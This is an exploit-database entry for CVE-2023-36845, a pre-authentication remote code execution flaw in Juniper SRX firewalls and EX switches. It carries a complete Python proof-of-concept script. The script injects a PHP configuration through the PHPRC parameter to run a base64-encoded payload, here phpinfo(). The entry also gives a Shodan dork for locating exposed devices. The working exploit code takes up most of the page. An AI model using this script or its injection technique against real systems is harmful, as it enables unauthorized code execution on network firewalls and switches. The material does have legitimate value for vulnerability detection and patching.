Lucene search

K
zdtWhiteOwl1337DAY-ID-39304
HistoryFeb 05, 2024 - 12:00 a.m.

Juniper SRX Firewalls&EX switches - PreAuth Remote Code Execution Exploit

2024-02-0500:00:00
whiteOwl
0day.today
101
juniper
srx
firewalls
ex switches
preauth
remote code execution
exploit
vulnerability
proof of concept
cve-2023-36845
php configuration
shodan dork
exploit author
vendor homepage
version
tested on
http request
output file
verbose mode

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.3

Confidence

Low

EPSS

0.964

Percentile

99.6%

# ***************************************************************************************************
# Exploit Title: juniper-SRX-Firewalls&EX-switches (PreAuth-RCE) (PoC)
# Description:
#
# This code serves as both a vulnerability detector and a proof of concept for CVE-2023-36845.
# It executes the phpinfo() function on the login page of the target device, 
# allowing to inspect the PHP configuration. also this script has the option to save the phpinfo() 
# output to a file for further analysis.
#
# Shodan Dork: http.favicon.hash:2141724739
# Exploit Author: whiteOwl ([email protected])
# Vendor Homepage: https://whiteowl-pub.github.io
# Version: Versions Prior to 20.4R3-S9,21.1R1,21.2R3-S7,21.3R3-S5,
#          21.4R3-S5,22.1R3-S4,22.2R3-S2,22.3R2-S2/R3-S1,22.
#          4R2-S1/R3,23.2R1-S1/R2
# Tested on: JUNOS SM804122pri 15.1X49-D170.4
# CVE : cve-2023-36845
# ***************************************************************************************************

import argparse
import requests

banner = """
*************************************************************
* CVE-2023-36845 Vulnerability Detector & Proof of concept  *
* This script checks for the CVE-2023-36845 vulnerability   *
* and run phpinfo() on vulnerable devices.                  *
* If you suspect a vulnerable system, please take action    *
* immediately to secure it.                                 *
*                                                           *
* Author: whiteowl                                          *
*************************************************************
"""

def send_request(url, output_file=None, verbose=False):
    target_url = f"{url}/?PHPRC=/dev/fd/0"
    data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

    headers = {
        'User-Agent': 'Mozilla/5.0',
    }

    try:
        response = requests.post(target_url, headers=headers, data=data, stream=True)
        if response.status_code == 200:
            print("The Target Device is Vulnerable to: CVE-2023-36845")
        else:
            print("Not Vulnerable: Status Code", response.status_code)
            
        if output_file:
            with open(output_file, 'w', encoding='utf-8') as file:
                file.write(response.text)

        if verbose:
            print(f"HTTP Status Code: {response.status_code}")
            print("Response Headers:")
            for header, value in response.headers.items():
                print(f"{header}: {value}")
            print("Response Content:")
            print(response.text)
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

def main():
    print(banner) 
    parser = argparse.ArgumentParser(description="Custom curl-like script")
    parser.add_argument("-u", "--url", required=True, help="URL to send the HTTP request")
    parser.add_argument("-o", "--output", help="Output file to save the HTML content")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose mode")

    args = parser.parse_args()
    send_request(args.url, args.output, args.verbose)

if __name__ == "__main__":
    main()

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.3

Confidence

Low

EPSS

0.964

Percentile

99.6%